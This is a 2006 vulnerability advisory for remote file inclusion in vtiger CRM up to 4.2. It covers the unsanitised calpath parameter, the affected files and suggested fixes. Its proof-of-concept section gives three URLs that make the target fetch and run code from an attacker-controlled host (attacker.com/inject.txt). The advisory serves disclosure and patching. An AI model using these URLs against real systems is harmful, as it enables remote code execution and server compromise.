vtiger CRM <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability

2006.10.16
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

ECHO_ADV_54$2006 ------------------------------------------------------------------------ ----------------------- [ECHO_ADV_54$2006]vtiger CRM <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability ------------------------------------------------------------------------ ----------------------- Author : Dedi Dwianto a.k.a the_day Date Found : October, 09th 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv54-theday-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote ------------------------------------------------------------------------ --- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : Vtiger CRM version : <=4.2 URL : http://vtiger.com vtiger CRM is 100% Open Source Customer Relationship Management solution built over LAMP/WAMP stack and other third-party open source packages. vtiger CRM software can be installed in Windows NT/2000/XP/2003 and different types Unix/Linux-based distributions, such as RedHat 7.2/8.0/9.0, Debian 3.0, SuSe 9.0, Fedora Core 3.0, Mandrake 10.0, Mac OS, and FreeBSD. ------------------------------------------------------------------------ --- Vulnerability: ~~~~~~~~~~~~~~ In folder modules/Calendar/admin/ I found vulnerability script update.php --------------------------update.php------------------------------------ --- .... <? include_once $calpath .'webelements.p3'; include_once $calpath .'permission.p3'; ... ---------------------------------------------------------- Input passed to the "$calpath" parameter in update.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files on Files: modules/Calendar/admin/update.php modules/Calendar/admin/scheme.php modules/Calendar/calendar.php Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?ca lpath=http://attacker.com/inject.txt? http://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath= http://attacker.com/inject.txt? http://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpat h=http://attacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $calpath on affected files. - Turn off register_globals Timeline: ~~~~~~~ 09 - 10 - 2006 Bugs Found 09 - 10 - 2006 Vendor Contact 09 - 10 - Public Disclosure ------------------------------------------------------------------------ --- Shoutz: ~~~ ~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous ~ Jessy My Brain ~ az001,boom_3x,mathdule,angelia ~ newbie_hacker (at) yahoogroups (dot) com [email concealed] ~ #aikmel - #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ EcHo Research & Development Center the_day[at]echo[dot]or[dot]id -------------------------------- [ EOF ]----------------------------------


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